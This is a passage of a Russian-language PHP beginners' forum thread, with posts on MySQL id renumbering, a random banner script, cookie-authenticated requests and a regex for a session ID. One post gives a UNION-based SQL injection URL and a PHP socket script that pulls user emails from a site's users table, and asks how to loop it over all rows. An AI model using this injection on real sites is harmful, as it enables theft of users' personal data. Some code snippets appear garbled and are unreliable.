[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Нет, в условии нельзя. Да и нафиг не нужно :) Просто из цикла вывода вставляем $i к каждой записи. Получается отличная нумерация по порядку
     
  2. Meanor

    Meanor Elder - Старейшина

    Joined:
    9 Sep 2007
    Messages:
    66
    Likes Received:
    9
    Reputations:
    0
    PHP:
    $result mysql_query("SELECT id, something FROM tablica ORDER BY id");
    $i=0;
    while(
    $fetch mysql_fetch_array($resultMYSQL_ASSOC)){
    $some $fetch['something'];
    mysql_query("UPDATE tablica SET id=$i WHERE something = $some")
    $i += 1;
    }
    Что-то похожее на это. Так делаем ид у всех в нужном порядке...
     
    1 person likes this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Macro, почему нельзя? разве приведённый мной код не будет работать?
     
    1 person likes this.
  4. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Meanor, угу, но something не обязательно.

    PHP:
    $result mysql_query("SELECT id FROM tablica ORDER BY id"); 
    $i=0
    while(
    $fetch mysql_fetch_array($resultMYSQL_ASSOC)){ 
    $id $fetch['id']; 
    mysql_query("UPDATE tablica SET id=$i WHERE something = $id"
    $i++; 

     
    2 people like this.
  5. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Извини, я тебя неправильно понял :) Все правильно говоришь.
     
  6. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    всем спасибо, я разобрался)
     
  7. Boxs

    Boxs Banned

    Joined:
    6 Nov 2007
    Messages:
    17
    Likes Received:
    5
    Reputations:
    0
    Нужно написать небольшой скрипт для рекламы, мне хотелось бы чтобы была возможность выводить баннеры на сайт (например баннер 468Х60) в рандомном порядке

    А так же желательно сделать вывод баннеров по разделам "468Х60" "120Х600" "100Х100"
     
  8. Meanor

    Meanor Elder - Старейшина

    Joined:
    9 Sep 2007
    Messages:
    66
    Likes Received:
    9
    Reputations:
    0
    Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
    В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
    Все картинки баннеров сложены в папку banners.
    PHP:
    $buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта

    //Создаем массивы с баннерами
    $ban1 = array('1_name1.png' ,'1_name2.png''1_name3g.pn'); // для 468Х60 
    $ban2 = array('2_name1.png''2_name2.png',' 2_name3.png''2_name4.png'); // для 120Х600 
    $ban3 = array('3_name1.png''3_name2.png'); // для 100Х100 

    //Рандомим индексы массивов
    $index1 rand(0,(count($ban1)-1));
    $index2 rand(0,(coun($ban2)-1));
    $index3 rand(0,(count($ban3)-1));

    //Готовим баннеры хтмл'ом
    $banner1 '<img src=\"banners/'.$ban1["$index1"].'\" />'
    $banner2 '<img src=\"banners/'.$ban2["$index1"].'\" />'
    $banner3 '<img src=\"banners/'.$ban3["$index1"].'\" />'

    //Вставляем баннеры в сайт
    $buf=str_replace("[%468Х60%]",$banner1,$buf); 
    $buf=str_replace("[%120Х600%]",$banner2,$buf); 
    $buf=str_replace("[%100Х100%]",$banner3,$buf); 

    П.с. А последнюю строчку своего сообщения ты забыл ;)
     
    #1428 Meanor, 3 Jan 2008
    Last edited: 3 Jan 2008
  9. Boxs

    Boxs Banned

    Joined:
    6 Nov 2007
    Messages:
    17
    Likes Received:
    5
    Reputations:
    0

    слушай мне нужна чтоб ставился виде хтмл
    да и ещё чтоб можно удалять и редактировать

    пример:

    <!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&amp;host=www.site.ru" target="_blank"><img src="http://www.yandex.ru/cycounter?www.site.ru" width=88 height=31 border=0></a><!-- /Yandex CY -->
     
    #1429 Boxs, 3 Jan 2008
    Last edited: 3 Jan 2008
  10. Meanor

    Meanor Elder - Старейшина

    Joined:
    9 Sep 2007
    Messages:
    66
    Likes Received:
    9
    Reputations:
    0
    Я не понимаю, что тебе конкретно нужно, чтобы адрес ссылки тоже менялся в зависимости от картинки баннера? тогда просто делаешь еще параллельный массив с адресом ссылок, потом, имея отрандомленный индекс извлекаешь из обоих массивов информацию и хтмл'ишь ее в нужный тебе вид, а потом выводишь...
     
    1 person likes this.
  11. Boxs

    Boxs Banned

    Joined:
    6 Nov 2007
    Messages:
    17
    Likes Received:
    5
    Reputations:
    0
    вот такой скрипт нужно на писать

    [​IMG]

    помогите на писать

    :confused:
     
    #1431 Boxs, 3 Jan 2008
    Last edited: 3 Jan 2008
  12. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    нефтыкнул что должен скрипт делать?
     
    1 person likes this.
  13. Meanor

    Meanor Elder - Старейшина

    Joined:
    9 Sep 2007
    Messages:
    66
    Likes Received:
    9
    Reputations:
    0
    Либо скрипт котрый выводит такие формочки с таким текстом, либо этот скрипт должен выводить картинки типа той, при помощи lib gd %)

    сори за флейм.
     
  14. Boxs

    Boxs Banned

    Joined:
    6 Nov 2007
    Messages:
    17
    Likes Received:
    5
    Reputations:
    0

    на кортинке всё понятно :)
     
  15. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?
     
    _________________________
  16. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    http://php.net/fsockopen

    Используй функцию fsockopen и fwrite в ее хэндл
     
  17. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Допустим на сайте имеется sql инъекция (MySQL база). Есть доступ к таблице users и поле email. Вывод осуществляем так

    http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users

    Выводится только 1 юзер из n-ого количества. Пользуемся лимитом для перебора, но в таблице до*я юзеров - нужно автоматизировать процесс. Я сделал такой скрипт

    PHP:
    <?php

        $PORT 
    80;
        
    $ADDR gethostbyname("site.com");

        
    $fp socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

        
    socket_connect($fp,$ADDR,$PORT);

        
    $n 2;
        
    $str1 "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
        
    $str2 ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

        
    $str $str1.$n.$str2;

        
    socket_write($fp,$str,strlen($str));

        while(
    $out socket_read($fp,2048))
        {
           
    $s strstr($out,"<h1>");
           
    $nm strpos($s,"</h1>");
           echo 
    substr($s,4,$nm 4);    
            
        }

        
    socket_close($fp);

        echo 
    "<br>";
    ?>
    Все отлично работает - скрипт выводит нам мейл (разумеется работает только с этим сайтом)
    НО проблема - почему этот скрипт не работает в цикле ???? Тоесть я хочу, что бы переменная $n (значение лимита) менялась в цикле и каждую итерацию скрипт загружал новую страницу, извлекал оттуда мейл и что-то с ним делал (например записывал в файл). Например так

    PHP:
    for($i=0;$i 10;$i++)
    {

        
    $str1 "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
        
    $str2 ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

        
    $str $str1.$i.$str2;

        
    socket_write($fp,$str,strlen($str));

        while(
    $out socket_read($fp,2048))
        {}
    }
    Но не работает. Подскажите плиз почему ?
     
    #1437 ElteRUS, 3 Jan 2008
    Last edited: 4 Jan 2008
  18. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    С fsock вроде разобрался. Помогите составить регулярку чтобы вытащить из кукиса (PHPSESSID=2311632a0e37308b5403aac65631185d)
    значение PHPSESSID
     
    _________________________
  19. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    PHP:
     $pattern "|[a-z0-9]{32}|is"
      
    preg_match_all($pattern$text$out); 
    и т.д и т.п
     
  20. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    $y = "PHPSESSID=2311632a0e37308b5403aac65631185d";
    $x = preg_match(/([\w]{32})/,$y,$z);
    echo $z;
     
Thread Status:
Not open for further replies.